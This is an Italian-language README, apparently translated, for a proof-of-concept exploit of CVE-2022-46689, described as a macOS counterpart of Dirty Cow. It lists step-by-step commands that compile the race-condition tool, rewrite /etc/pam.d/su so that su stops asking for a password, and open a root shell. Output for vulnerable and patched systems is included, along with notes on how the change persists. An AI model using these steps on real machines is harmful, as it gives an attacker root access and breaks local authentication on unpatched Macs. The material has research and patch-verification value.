
Ottieni root su macOS 13.0.1 con CVE-2022-46689 (equivalente macOS del bug Dirty Cow), utilizzando il test case estratto dal codice sorgente XNU di Apple.
Ottieni root su macOS 13.0.1 con CVE-2022-46689 (equivalente macOS del bug Dirty Cow), utilizzando il test case estratto da Apple's XNU source.
https://worthdoingbadly.com/macdirtycow/
Su una macchina macOS 13.0.1 / 12.6.1 (o inferiore), esegui:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
Dovresti ottenere:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
Testato su macOS 13 beta (22A5266r) con SIP disattivato (dovrebbe comunque funzionare con SIP attivo).
Se il tuo sistema è completamente aggiornato (macOS 13.1 / 12.6.2), dovrebbe invece mostrare:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
e l'esecuzione di su dovrebbe ancora chiedere una password.
Grazie a Sealed System Volume, eseguire questo su qualsiasi file nel volume /System modifica il file solo temporaneamente: viene ripristinato al riavvio. Eseguirlo su un file su un volume scrivibile manterrà la modifica dopo un riavvio.
/etc/pam.d.